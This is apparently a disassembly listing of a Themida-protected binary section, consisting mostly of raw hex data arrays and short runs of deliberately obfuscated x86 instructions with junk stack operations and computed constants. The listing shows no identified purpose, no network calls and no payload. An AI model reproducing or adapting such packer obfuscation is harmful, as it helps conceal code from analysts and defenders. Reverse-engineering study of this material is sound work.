dd 69FC2C18h, 6D083BC2h, 6AFB2ED7h, 0B0E06780h, 0A4D67F15h
dd 0B6E36A11h, 36D77017h, 7CAC334Ch
dd 0FDA654E9h, 0A503ACDh, 49A440B4h, 833D3EC1h, 0F6E92CA1h
dd 74DB0B0Ch, 3AFB5F8Bh, 0BE8BF47Bh, 7205C8F3h, 4E17AC4Dh
dd 9EC006C6h, 5AF3EAD0h, 0AB3523B9h, 0E6479C16h, 0A1D47D13h
dd 3F6CF322h, 0C55E05A6h, 0B5E88F24h, 0FA63022Eh, 0ACECD37Ch
dd 5D33D43Fh, 0FA66E8E2h, 5020A1D0h, 58000006h, 52F98E27h
dd 4BF28726h, 46ED821Dh, 42E97E17h, 46E1760Fh, 0A540732Eh
dd 0A13C6910h, 0A033650Ch, 0A134640Bh, 0E3D13F0Ch, 43964D72h
dd 2CD4A6BDh, 2CD368F9h, 62D469FCh, 0C269FC2Ch, 60A40B3Bh
dd 0ECC8F02Eh, 1A7CEAB0h, 94976AB1h, 3BBD5EF3h, 0F7000000h
dd 0A08A1B4Eh, 0A1FC2CD4h, 14495401h, 1D4276B2h, 0E6E52A26h
dd 76FDA445h, 5BCCBA46h, 9F49A393h, 932CD372h, 197380Bh
dd 0A28C2558h, 0E432C589h, 0D66B0A3Ah, 1235h, 0FC2CAB00h
dd 88F6C269h, 0E249A3F2h, 81B19FA9h, 2CDF51E6h, 2AD369FCh
dd 0B7C6AFEh, 5649A3F2h, 2553E283h, 0DE87A08Ah, 0DAC85E56h
dd 4798891Ah, 0AF58EEC1h, 0AC53E87Fh, 9942E97Ch, 95831911h
dd 418AEF80h, 9B2481Bh, 2A93ED9h, 0F49D33D2h, 0F18A31C4h
dd 0DD60EE07h, 59CDC40Dh, 0B4D7C16Fh, 0EE9E342Ch, 957F1245h
dd 8760A14Fh, 0C0AE5E3Bh, 3781604Fh, 0E3DDC79Ah, 0DB3F3A10h
dd 94C3EE4Dh, 53E13h, 80154600h, 7D1844EBh, 781341E8h
dd 740D3CE3h, 6C0538DFh, 69243CD7h, 5F069B36h, 57FE9332h
dd 56FD9225h, 2DFA8F26h, 4C60D1BFh, 94AB4396h, 69FC2CC2h
dd 6AFD2DD4h, 790C3CC3h, 6B0A3AE3h, 0FEB76881h, 47CFF30h
dd 4430848Ah, 0CDFDFEE8h, 2FA6A53Ah, 0AD19AF79h, 6Dh, 95820A11h
dd 9DFCB912h, 0BC901786h, 49A3854Bh, 8C22C396h, 0CD3E2CDCh
dd 1149A385h, 26C149E4h, 63E520Ah, 0C7B15253h, 0A28EAD81h
dd 0D103C447h, 67F68F36h, 5EF79E39h, 4C7E27BDh, 0CD3824B9h
dd 6439BFEh, 0FDF76856h, 7A42439Bh, 9BFE1B8Ch, 0F2936643h
dd 40D70708h, 51D204ABh, 49E28924h, 0CA7301A8h, 1813FD98h
dd 477h, 4E7C258Eh, 89730CB3h, 9CCF5888h, 0A54CEB1Bh, 2BC46B0Ch
dd 1B4BF48Ah, 204ED57Ch, 0E1FAE485h, 0F68B2A5Ah, 17ADA52Dh
dd 0C0AA3B6Eh, 820CAB8h, 8DB47A3h, 0FB2AD361h, 0C5327862h
dd 9439CD7h, 129940DBh, 31280E5h, 8878C87Ah, 0C89940E7h
dd 6ADBC97Eh, 0B5439CF0h, 0B89B41E2h, 0BE6D686Eh, 0B25B1FB5h
dd 5F9E382h, 3Dh, 9C820A69h, 0A137D869h, 0A30131B3h, 0F3895C47h
dd 33B6174Ah, 97F49398h, 869F892Ah, 881F4FF8h, 185E48E1h
dd 439CE1ABh, 0A52BF5D8h, 1FB5D130h, 26C1ED96h, 8FCE67Fh
dd 0DBh, 69FC2C6Ch, 6D083BC2h, 780F3FC6h, 7B1A4AD1h, 5F8F38E6h
dd 9E8821C8h, 0A3EEA258h, 7A063649h, 0A3EE1B8Ch, 94335F49h
dd 0F9CC54EDh, 0EC1CC358h, 0FD9E396Bh, 2A18C856h, 49A3EEB9h
dd 0DD917923h, 3EC6FE5Ch, 0D65E816Bh, 709F48DEh, 0F5E3EBD5h
dd 47A25D07h, 2B9C8A52h, 76439C4Dh, 0E96C02A3h, 6A931F33h
dd 0E3EAD4B6h, 49A921Ah, 94C58616h, 64FACD41h, 3ED88BBh
dd 861F52FBh, 7E174AF1h, 7E7483A8h, 870837F0h, 343h, 0E67B1A4Bh
dd 0DF74133Fh, 0DA6F0A38h, 0D4690433h, 0D267FA2Dh, 31641F37h
dd 37640BA0h, 3062099Eh, 29590095h, 0BE2CF98Eh, 964A5FD0h
dd 0C193AA43h, 0D368F92Ch, 16877525h, 6149A3F2h, 73A3A48Eh
dd 62953ED4h, 8F28CFh, 0F48D34CDh, 0A91030Ah, 6F48A82h
dd 47A30184h, 689A14AFh, 704DF8BAh, 329525B5h, 9A3BDC7Dh
dd 2ABA27F3h, 4E7439Ch, 8821B43Ah, 0EBBB1FB6h, 0E3000000h
dd 2ED44533h, 4C1F439Ch, 0FC2C9662h, 83BC269h, 44FAC66Dh
dd 0D849A3EFh, 0D1780DA8h, 0D15F06A1h, 7A68F828h, 49A3EE09h
dd 0F6E08154h, 0BD534BD3h, 0A2CEE1CFh, 0C4592C47h, 0E57B73FBh
dd 952452F7h, 0D87CFF41h, 2B72B860h, 0AD1E0CA2h, 0F83D934Dh
dd 6E413B25h, 69FC2FD8h, 0BBA326D4h, 66BF9BA0h, 5184856Fh
dd 8953EAC0h, 305FF07Fh, 256AFh, 982D5E00h, 95305C03h
dd 902B5900h, 8C2554FBh, 841D50F7h, 813C54EFh, 771EB34Eh
dd 6F16AB4Ah, 6E15AA3Dh, 4512A73Eh, 4978E9D7h, 0ACC34396h
dd 497C25DAh, 60019CCAh, 9C8A20B9h, 49A3F22Bh, 0B8B9A376h
dd 9809F785h, 0E349A3F2h, 0B859F422h, 0A5D88117h, 0E9D7650Ch
dd 49A3F278h, 0B94FF0C3h, 0A3F25ACBh, 0E8D2A549h, 0CAB033E1h
dd 7BDB32BFh, 0E8181903h, 0F8992C5Fh, 0FC2CF163h, 8B34C269h
dd 8C22F85Fh, 0C4198C8Ah, 0F9E37C23h, 982DC8F8h, 9026C1F1h
dd 0BDCD830Dh, 0B750F78Ah, 4895E04Eh, 7ADBD4DFh, 0B49E7D72h
dd 726AF29Bh, 660133DCh, 1BC4747Ch, 1C624CEBh, 47A1E8BEh
dd 46F16E9h, 93C36DBBh, 0D841D406h, 7AC6A226h, 0A035D61Bh
dd 7F1A49F2h, 82B03FD8h, 0BDA740E7h, 2C129Ah, 402EC465h
dd 419A779Ah, 54DB8255h, 63EA9124h, 6AF19837h, 52F9A03Dh
dd 5C89B781h, 0E0811AC1h, 67B78114h, 0A151E7DFh, 4630C9F8h
dd 934D5A00h, 2C5E073Bh, 3BDA0A99h, 1711FB94h, 0D808AF44h
dd 0B024A73Dh, 57CDA04Fh, 0CB526B55h, 0EC57FE99h, 0F4A495A3h
dd 0A97D184Bh, 378D6938h, 0C5C6B083h, 0C36C0295h, 0A2130191h
dd 0ED378D69h, 39D2791Ah, 179A484Fh, 2C6B80FBh, 557862E7h
dd 0E3910DCDh, 6B49C3F1h, 0E84634CAh, 5358C91h, 79A7305Ch
dd 0FD9E37DEh, 0D9D3BD56h, 95C77006h, 78FF1802h, 6717AD48h
dd 86910879h, 66925331h, 0A29026C7h, 31869131h, 0A6BFA97Ch
dd 0D824F23Bh, 2AD49050h, 0B0628874h, 0DBC9790Fh, 3186576Ah
dd 43EA7BAEh, 356122AAh, 70FF99Ah, 8531BB19h, 7D13E62Fh
dd 0BB1FCBFAh, 0F6E046AEh, 0ABE41EFh, 9D878EE4h, 1AA2C5AFh
dd 59DC8C22h, 0D7C58778h, 2B7EFA66h, 9475DEB1h, 8ED4BEA2h
dd 2973ADD6h, 81049A6Dh, 68CA3FC0h, 0B81CE030h, 26491B84h
dd 34C2DBC5h, 1FFBB7B1h, 7C51620Dh, 0DE3DA62Ch, 0AF2E4056h
dd 0A1BD75AEh, 0E5151600h, 0E616BD52h, 0BCDCA84Fh, 1F5CD8D1h
dd 6494828Ch, 65953CD1h, 75A42BD2h, 0A2C346DCh, 6121241Bh
dd 8BF60FF9h, 1A4AF442h, 0F3FE67Bh, 0C50D178h, 0C6000000h
dd 34BD405Eh, 0AFA296DFh, 2CD8A48Eh, 3CC36AFBh, 4BD2790Ch
dd 50D77E19h, 5CE38A23h, 6AF19829h, 70F79E37h, 7A01A841h
dd 830AB14Ch, 6711B857h, 1FDD68h, 24048900h, 405E089h
dd 83000000h, 48704E8h, 89525C24h, 4C281E2h, 81000000h
dd 4EAh, 24148700h, 2414895Ch, 225568h, 24048900h, 0D9A9E68h
dd 24148B06h, 8304C483h, 248904ECh, 24048124h, 4, 8B95158h
dd 1000000h, 0BB53C1h, 1000000h, 5B1389CBh, 24048B59h
dd 81E28952h, 4C2h, 4C28100h, 87000000h, 8B5C2414h, 89522414h
dd 4C281E2h, 83000000h, 148704C2h, 0ACE95C24h, 0EFFFF9D0h
dd 0B28A1FC4h, 7E78CE0Fh, 0CF8663F2h, 0DAC49B8h, 0FFC50306h
dd 0D1B682E0h, 41601F11h, 8BCEF874h, 0F0CAEB17h, 0B443593Fh
dd 1159FD34h, 0CF13037Eh, 31741660h, 82C8737Fh, 98BE0C20h
dd 41568B27h, 2501FB63h, 0C6E2405h, 35C0E507h, 0AD8E4657h
dd 9B89C270h, 2B92AD44h, 589FBF3Ah, 0AC293F24h, 0DF55C31Bh
dd 51C4660Dh, 5A379C41h, 7D39B479h, 3A588D09h, 9964A428h
dd 0D413B61Fh, 0C943D86Fh, 913CFD51h, 6DDCCC44h, 8ABBA62Dh
dd 11E81Ch, 0C4390000h, 236A52B1h, 6EDA5061h
dd 0DC299A3Ah, 0F9201A8h, 683h, 73D98100h, 5A7F9F01h, 0C281C68Bh
dd 6B12h, 0FF33F38Bh, 34FFCDB0h, 1880F17h, 0FC000000h
dd 4810F5Bh, 56000000h, 815E6160h, 9395F7F3h, 0CE80Dh
dd 96510000h, 0C85B2117h, 7AA52882h, 0F580D8C6h, 0EB81585Ch
dd 6BCE70CEh, 0FE9h, 0D172200h, 71F845C4h, 771DA55h, 0CF3457DBh
dd 9370C381h, 0CE812488h, 23D59D30h, 3850F53h, 60000000h
dd 48F61F8h, 8158533Ah, 66241DEFh, 19C7813Ch, 813C6624h
dd 0FF95A4FFh, 83850FFFh, 50FFFFFFh, 0AE9h, 85E1BC00h
dd 2CF424DCh, 5918B909h, 0AEEE8D8Dh, 0F080060Dh, 8DD3816Bh
dd 8929AE9Bh, 71AD98Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1604h, 0C3504000h, 0E9D688C0h, 0Ch, 0FE752945h
dd 961F40BBh, 0FFFBD4C5h, 1E41B589h, 8B660607h, 1D85C7D6h
dd 0FC060710h, 6A000062h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 15042444h, 45000000h, 0C1EEC355h, 0DB58B57h
dd 5806070Eh, 330585C7h, 607h, 8D0F0000h, 4, 837ABE66h
dd 469B5FFh, 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1B0424h, 51410000h, 0FFE832C3h, 43D59978h, 5995FF47h
dd 66060718h, 6AF88Bh, 0D6995FFh, 0C08B0607h, 74CE48EBh
dd 4E0BD00Fh, 12B68E4Dh, 0CF60E681h, 60BAD6D2h, 95032A53h
dd 0F63DD78Ch, 3CDB9E6Eh, 7BD98F3Ch, 0A1D7905Ch, 82008065h
dd 4D9AA630h, 0F37AE022h, 0DD3B2E6h, 723A1628h, 9DCABB38h
dd 0DBA38E90h, 3250583h, 5E8C2BEh, 74000000h, 51086A49h
dd 23119589h, 0E95B0607h, 7, 0E29EB7B2h, 81583849h, 683EC3h
dd 68C68B00h, 0
dd 8589F960h, 6073261h, 8B665E61h, 1E34FFCFh, 5D958960h
dd 0E9060718h, 0Dh, 0E9A78D09h, 924586C9h, 0ED3E55BDh
dd 0E95A617Bh, 0Fh, 8CC636CBh, 18EAC0DEh, 0C76BE4B7h, 81C53638h
dd 311948F2h, 59850108h, 8106070Ah, 60E7F6C2h, 66605276h
dd 8D89F28Bh, 6070C71h, 0C2815F61h, 2C6AD883h, 52C38B66h
dd 0EEDBD8Bh, 48F0607h, 75BD0333h, 0F9060706h, 6604EE83h
dd 0FE81FA8Bh, 0FFFF9870h, 0FF83850Fh, 0BF0FFFFFh, 8EBCFh
dd 2E000000h, 0E95CCF0Ch, 532h, 0DB10968h, 0CD79E906h
dd 8268FFF9h, 0E9060DB1h, 0FFF9CD6Fh, 0DB32B68h, 0CD65E906h
dd 0DC0DFFF9h, 0E10DB449h, 0DC0AB146h, 0D605AC41h, 0CCFFA63Bh
dd 0F109A439h, 0DD720336h, 0D76C0936h, 0CE63FE30h, 0CB60F727h
dd 31A290FEh, 7C439642h, 0F92C9365h, 0A3AC168h, 850DD66Bh
dd 0D309F78Dh, 6047A2F7h, 0C8299DDh, 9BF8AD1Eh, 0BC25F843h
dd 1D0B73D8h, 439CE9ACh, 998324F7h, 5925CC9Fh, 439CE8ECh
dd 0BD64FD30h, 0C46B0A36h, 0F0F1954h, 0FD30D969h, 0BA6D564h
dd 86E1CB64h, 0CA0487B8h, 0D842CA14h, 8A4BA48Eh, 501FB609h
dd 344h, 7EC03EB4h, 7A68FEF6h, 47A2F8D0h, 0FA2D47Dh, 0D1582B25h
dd 7A028FC5h, 937901B8h, 861FC661h, 87614FE5h, 0A244367Bh
dd 0F77F28CFh, 2F7B69FFh, 0E83E2F72h, 8B75103Fh, 7F28BE91h
dd 7523B84Fh, 5F069FCCh, 0ABDBDCC6h, 0FFB68F44h, 0E38489DAh
dd 15A5ED0Dh, 65E615F3h, 34Bh, 0BE53F223h, 0B74CEB17h
dd 0B247E210h, 0AC41DC0Bh, 0AA3FD205h, 93CF70Fh, 0F3CE378h
dd 83AE176h, 131D86Dh, 9604D166h, 964137A8h, 996B8243h
dd 0B94C7C25h, 0B75EF72Ah, 8911341Eh, 47D671A3h, 3DD67D18h
dd 0AD56069Ch, 0B8FEE87Bh, 479852F7h, 8939CFA2h, 427AEBD9h
dd 0F2C54396h, 41D40708h, 3FD205ACh, 0F314CC98h, 74A4B9FCh
dd 0EEE50BE1h, 0EE1DFA62h, 2D26Dh, 0DC79AA00h, 0D974A047h
dd 0D46F9D44h, 0D069983Fh, 0D061943Bh, 0CD88A03Bh, 0CB72079Ah
dd 0C36AFF9Eh, 0BA61F691h, 8956EB8Ah, 41BC2D1Bh, 0F0074396h
dd 8A820A1Eh, 0E55644F4h, 2249A3F1h, 0A3F1C334h, 0B33B0E49h
dd 3EEEF6E0h, 6F68F7BBh, 0E4D2039Fh, 49A37673h, 604AEBBEh
dd 97D7591Ah, 8A310447h, 95C651BEh, 0CF629543h, 0D671A128h
dd 0AD7BC42Fh, 5EE8CB71h, 0BCE83D98h, 1F29F1Fh, 17C70000h
dd 0A98EC994h, 0BDF6E2Fh, 43950B9Ah, 5C2812E5h, 0D369FC2Ch
dd 745EF72Ah, 0F724CD5Bh, 8A94470h, 0DDDEC861h, 0D7851AADh
dd 806AFB2Eh, 47DDD55Dh, 0A307AF59h, 0F0976A47h, 9CD7B724h
dd 3701E443h, 3A067F02h, 0CD688588h, 994B8AE3h, 43911FB6h
dd 0B9000000h, 0B544DD10h, 0B24BF285h, 820AFCC8h, 0F0DE6E9Ch
dd 49A3F27Fh, 0AF56F7CAh, 2CFEAD16h, 684E3860h, 0C14331C7h
dd 0EC47A27Ah, 39A67219h, 66439C5Ah, 0DB84B583h, 0CB240EA9h
dd 1FB6580Ah, 0D3D0h, 0FC2C3400h, 0E43162A1h, 0DE7F8917h
dd 0BF9A937h, 49A3009Ah, 8E7C12E5h, 49A3001Dh, 0AAAB9568h
dd 0B037DE77h, 2CCBF780h, 2D5DE48Bh, 8219059Ah, 1249A2FCh
dd 0A02955E2h, 9239DA73h, 0FAC358F9h, 34E47A72h, 10AFDB84h
dd 0A2FBCB3Ch, 0A91A0849h, 0F449A2FBh, 30C69921h, 0A2FBD142h
dd 5F491C49h, 9B608F19h, 0DD09CA47h, 75DF117Ah, 2CCD4CA5h
dd 3ACBFE85h, 0B962F899h, 0A856EB86h, 0D3D85925h, 629C05A0h
dd 0DFE0CA94h, 0AB4319ACh, 57FA6553h, 129A728h, 0D0010000h
dd 0CDF9A035h, 0C8F69D32h, 0C2F1982Dh, 0B8EB9227h, 0D5ED881Dh
dd 0B94EE71Ah, 0B348E512h, 0B247DA0Ch, 0A73CDB0Bh, 0D7E6CDAh
dd 5843963Fh, 0F92C6F41h, 0FC2CD368h, 0BB24D7Bh, 0CA3CD172h
dd 0C269FC2Ch, 0D76C0B3Bh, 0F88E860Eh, 0F1E95A48h, 613449A3h
dd 5C03A2D2h, 21D1D9C3h, 3337139Eh, 91C0BD80h, 17B851F8h
dd 0D5BF5A88h, 0A300BB8Fh, 2614C447h, 439C70B5h, 0A9972D00h
dd 439C7038h, 0CCC6B083h, 87BA63F9h, 709A0BF9h, 12E5439Ch
dd 32DB71h, 3B25BE65h, 0AEDD8634h, 0B45BF625h, 4A907A1Bh
dd 439C70DDh, 0B861F121h, 0AA1BEF8Ah, 0F5439C70h, 0C391235Ah
dd 0B15236FCh, 0A1D47B10h, 64E86910h, 5E000000h, 0F48A820Ah
dd 98535106h, 8319EC47h, 2610ADDAh, 0BF56860Dh, 0B453832Ah
dd 0B9F2410Dh, 0E2751CD7h, 1BBAEA54h, 19ACDC85h, 5543D972h
dd 0E8D389E4h, 6B725C2Fh, 5A0194C4h, 0EB1BA4D3h, 9904AB4Ch
dd 2BCAFAA3h, 0A601EB84h, 0E77EAE98h, 0DC7BAB52h, 0DB435h
dd 252A0000h, 0F2168775h, 8E6149A3h, 2CF3D5A4h, 3CC36AFBh
dd 4BD2790Ch, 50D77E19h, 5CE38A23h, 6AF19829h, 70F79E37h
dd 7A01A841h, 830AB14Ch, 6711B857h, 53E08950h, 12757BBBh
dd 35E38174h, 8111F009h, 100135F3h, 5BD80110h, 8704E883h
db 4, 24h, 5Ch
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], eax
push 0DE7h
mov [esp], ecx
push ebx
push edx
mov edx, 313466F6h
xor edx, 760E7876h
shr edx, 6
shr edx, 6
xor edx, 5FE93534h
mov ebx, edx
pop edx
dec ebx
and ebx, 29B54EEBh
add ebx, 0FC68699Fh
mov eax, ebx
pop ebx
push 75E1h
mov [esp], esp
add dword ptr [esp], 4
pop ecx
push ebp
mov ebp, eax
push ebp
pop dword ptr [ecx+8]
pop ebp
mov ecx, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
mov eax, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_544543
; ---------------------------------------------------------------------------
db 22h
dd 3702FFF2h, 268AFB21h, 9460A5AEh, 79B837BDh, 3060DB4h
dd 19E0FFC5h, 0D574775Eh, 0C3092B31h, 0E854A15Bh, 6, 694A05C6h
dd 5AF91C04h, 0E9C281F5h, 0E9000064h, 14h, 0EF0F59FDh
dd 24EB35DFh, 12C07615h, 5F16F73Bh, 0FCCF484h, 3BF3A3BFh
dd 68C78122h, 0FDDC425h, 383h, 2FE88000h, 0B86632FFh, 0B95BD073h
dd 969C20Fh, 0E410EB81h, 0B8661140h, 0C38148B3h, 65F5422Bh
dd 138E0Fh, 0E9600000h, 0Ch, 6367BFA5h, 0E0D9125h, 62020000h
dd 3AF38161h, 894043E0h, 0C1EA811Ah, 532E98CBh, 18A0Fh
dd 58F90000h, 0CBBDC281h, 30B92E98h, 833EA245h, 850F01EFh
dd 15h, 0E932E480h, 1Dh, 42447E72h, 0A2DBD4E5h, 4BF8C7Dh
dd 0F9F8B89Ah, 81E96536h, 3AFFFFFFh, 992CA453h, 0FE811h
dd 0FF940000h, 7C204E74h, 37F8DB9Ah, 1B372F7h, 0CE85B6Bh
dd 0D4000000h, 0BCEDF91Dh, 5FA95B9h, 0F444836h, 1985h
dd 14E900h, 0A0E70000h, 40C3C1E1h, 0C1EF91D7h, 8274A3C1h
dd 30BE011Ch, 81589942h, 63A2C3h, 0AADE8000h, 480247B9h
dd 7AC18171h, 8B8EB816h, 8033FFF7h, 805FB0DEh, 0C78146C4h
dd 8DD23E0h, 0F735D281h, 0EF811488h, 6DB34F96h, 28C0Fh
dd 0F48A0000h, 0AB90C781h, 8B56329Bh, 3B8958F0h, 0EB83B2B4h
dd 4B4BFC02h, 83F0B70Fh, 850F01E9h, 0FFFFFFBDh, 28C0Fh
dd 0D48A0000h, 0BD83C08Bh, 6071ACDh, 83097500h, 71135BDh
dd 19740006h, 0C08B5350h, 421B8h, 7D858900h, 8D06071Fh
dd 9ADC09Dh, 5BD3FF06h, 35BD8358h, 60711h, 53501774h, 421B8h
dd 7D858900h, 8D06071Fh, 9AAAF9Dh, 5BD3FF06h, 8BC08B58h
dd 723199Dh, 0CD85C606h, 56060709h, 0A8B85268h, 99B5FF9Ch
dd 8D06070Dh, 0A703885h, 6AD0FF06h, 10006804h, 0B5FF0000h
dd 6072D39h, 0D0FF006Ah, 850FC085h, 0Dh, 0B8h, 0E48D8D00h
dd 0FF06076Fh, 8BC88BE1h, 3C4003C3h, 0F805h, 0C508B00h
dd 0BD83D303h, 6070C89h, 0E840F00h, 8B000000h, 70C899Dh
dd 5D858B06h, 89060722h, 8D525103h, 778ED85h, 8BD0FF06h
dd 8BF18BFAh, 0F3C88BD1h, 0CD85C6A4h, 56060709h, 1F6D3968h
dd 99B5FFD4h, 8D06070Dh, 0A703885h, 68D0FF06h, 8000h, 0FF52006Ah
dd 83C08BD0h, 71ACDBDh, 9750006h, 1135BD83h, 74000607h
dd 8B535019h, 421B8C0h, 85890000h, 6072F81h, 0AE279D8Dh
dd 0D3FF0609h, 0BD83585Bh, 6071135h, 50177400h, 421B853h
dd 85890000h, 6072F81h, 0AAC89D8Dh, 0D3FF0609h, 0C08B585Bh
dd 0C899D8Dh, 38B0607h, 840FC00Bh, 7, 5B8B038Bh, 0B8188904h
dd 4B41h, 9E8h, 0A41DE100h, 0CB47D2C6h, 815A00DDh, 74C6C2h
dd 1870F00h, 0FC000000h, 92BEFF33h, 8B6DAF75h, 0B70F3A04h
dd 0C7C081F2h, 5659EE77h, 0AF0815Eh, 0FC1AA124h, 2C3BE881h
dd 0B9664F08h, 60509F96h, 0DE8B66F8h, 3A048F61h, 8153F88Ah
dd 0AAEAF3E6h, 0EF835E0Ch, 0AABB6601h, 4F4F4F40h, 8138E980h
dd 0FF8BCCFFh, 14850FFFh, 0E9000000h, 27h, 438285E7h, 0CA0D95CAh
dd 7629243Fh, 0F5C2C5ECh, 0FFFF9AE9h, 0DE9B58FFh, 5E847995h
dd 31F0B0FAh, 8866E7F5h, 0E850588Ch, 0Dh, 4149BD9Eh, 5BDB5BCAh
dd 26BE1EAh, 1870F6Bh, 0FC000000h, 0CEB70F5Bh, 7236C381h
dd 0F6330000h, 0F1F18166h, 33048B6Dh, 850Fh, 0C0810000h
dd 7C98ADBEh, 0FEB70F60h, 0EE860h, 490C0000h, 9DC34CB2h
dd 36918C6Fh, 8D0703FCh, 0D18B665Ah, 0F0816161h, 52EF44F7h
dd 2880Fh, 0EA8A0000h, 1DA3F081h, 0E1810795h, 625D7A1Ch
dd 9E950h, 0A6010000h, 4C2C0919h, 8F582CB5h, 0BF0F3304h
dd 0C9F280CBh, 0E804EE83h, 14h, 0FD90E28Fh, 3F2D7474h
dd 7E67D461h, 0A84729E7h, 6093AFC2h, 5AB3E980h, 8EB4FE81h
dd 850FFFFFh, 22h, 8E8h, 586EA800h, 5CA94B52h, 5FE88A7Eh
dd 29E9h, 0F98B7A00h, 7DCDF413h, 677612DDh, 0D4B94660h
dd 0E91F544Dh, 0FFFFFF49h, 0ADBCE135h, 5F0422C9h, 22FECA22h
dd 0DC3631B3h, 2AE99ECFh, 0C7000000h, 2404h, 0E80000h
dd 5D000000h, 0B9B8ED81h, 448B060Dh, 85890424h, 607190Dh
dd 0B8h, 9B8D8D00h, 0FF06074Bh, 6754B8E1h, 9D8D0000h, 60720F5h
dd 1434B8h, 0B9858900h, 0E8060729h, 0
dd 0D0558h, 3890000h, 1434E9h
db 0
byte_5A81BD db 3 dup(0) ; DATA XREF: Themida_:0053E8B4o
dd 50Ah dup(0)
db 0
byte_5A95E9 db 3 dup(0) ; DATA XREF: Themida_:0053D970o
dd 0
dd 16EB00h, 4 dup(0)
dd 1000000h, 3B801h, 0E9060D00h, 7, 0DD1CA97h, 8B49CECEh
dd 0F88B50D7h, 6A240489h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1B042444h, 41000000h, 25DEC351h, 0DA52C1EEh
dd 0C88BD7E8h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 140424h, 52420000h, 8A0FE6C3h, 4, 0A9A3BB66h, 6A006Ah
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
dd 0B89965C3h, 0CFC1858Dh, 6A060Dh, 3E850h, 58200000h
dd 448958C3h, 44810424h, 140424h, 50400000h, 0BF6621C3h
dd 66900AC8h, 502E5ABFh, 6A907BB5h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 773EC353h
dd 890FAED2h, 5, 12CF8166h, 8B006AA2h, 71F31BDh, 8B006A06h
dd 58C0FFBh, 0B9000000h, 39F8939Ah, 1E3D95FFh, 6A0607h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
dd 0BF1954C3h, 0AAE680CBh, 645E9h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 4B1FCB39h
dd 11E8h, 0B7E23400h, 0C661414Eh, 99221C35h, 3233E3FFh
dd 11E87630h, 57000000h, 849AF7EFh, 0BC8188C1h, 3176A44Dh
dd 23151B83h, 2B1D9D8Bh, 5A5F0607h, 0E8h, 0ED815D00h, 60DCFC6h
dd 443CBA66h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 17h, 0F2C35747h, 0F9B59AFEh, 631AD668h, 5AE1B909h, 34811A6Ah
dd 63157624h, 53006A09h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1904h, 0C3534300h, 3E83BED2h, 9D339473h, 6071029h, 0D6995FFh
dd 0CB810607h, 53A21C6Ch, 0CE34B58Dh, 0FB8B060Dh, 6C7D08Bh
dd 6D676552h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 16h, 78C35343h, 0BD89065Eh, 6070A41h, 0FC19D89h, 46C70607h
dd 636E6F04h, 51006A6Ch, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1C04h, 0C3514100h, 0DA82D2E3h, 69F3D338h, 6E953h, 0DAD10000h
dd 34C1F835h, 68F0Fh, 85890000h, 6070911h, 610846C7h, 6A007373h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h
dd 45000000h, 8252C355h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 180424h, 52420000h, 0A6531CC3h, 820FD40Bh
dd 6, 563EEA81h, 858D2D71h, 60DCE34h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 17h, 43C35747h, 90E0F735h, 0EEA4BA66h
dd 51515650h, 905A595Bh, 3D9589h, 95FF0607h, 60700C1h
dd 66CA8B66h, 0C00BC88Bh, 50840Fh, 6A0000h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 150424h, 51410000h, 66C769C3h
dd 2B18DA81h, 3E7E9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1B04h, 0C3564600h, 95CDFCE8h, 0BA7DD836h
dd 930CEB81h, 0C4684671h, 50531C3Fh, 50525052h, 5A310F52h
dd 2 dup(5A310F58h), 24348158h, 531C3EE8h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 10C35747h, 0C8BFEF98h
dd 10DD89Ch, 70AC18Dh, 6995FF06h, 6A06070Dh, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
dd 4CF4C351h, 34B58DFDh, 6A060DCEh, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 9325C353h
dd 83B7CDB6h, 46A57C41h, 88D0Fh, 29530000h, 70ED595h, 0BB665A06h
dd 6C74A86h, 36343831h, 1ED28166h, 446C738h, 31342D37h
dd 998D8B60h, 6106072Ch, 846C7h, 60000000h, 266D9D8Bh
dd 6A610607h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1404h, 0C3534300h, 75958BF5h, 0E8060713h, 0Eh, 0AF06117Eh
dd 0F3CC9857h, 0D50490h, 8166ECC1h, 5B05C7C1h, 34858DF5h
dd 89060DCEh, 709058Dh, 0E9605006h, 10h, 25CD8C6Bh, 0F9E4BDDBh
dd 0BC9CEE46h, 5662A25Eh, 0B85F5060h, 6745B12Ch, 4896161h
dd 51006A24h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h
dd 0C3514100h, 4160984Bh, 0B98BBA03h, 8D89627Ah, 607293Dh
dd 0BD8BF88Bh, 60719A5h, 0C195FFh, 0BD890607h, 6072335h
dd 830Fh, 0C00B0000h, 2C840Fh, 8B660000h, 22AE9D3h, 6A0000h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
dd 0E60869C3h, 63B10449h, 4B68D88Bh, 0F4CF963h, 48Ah, 5B535200h
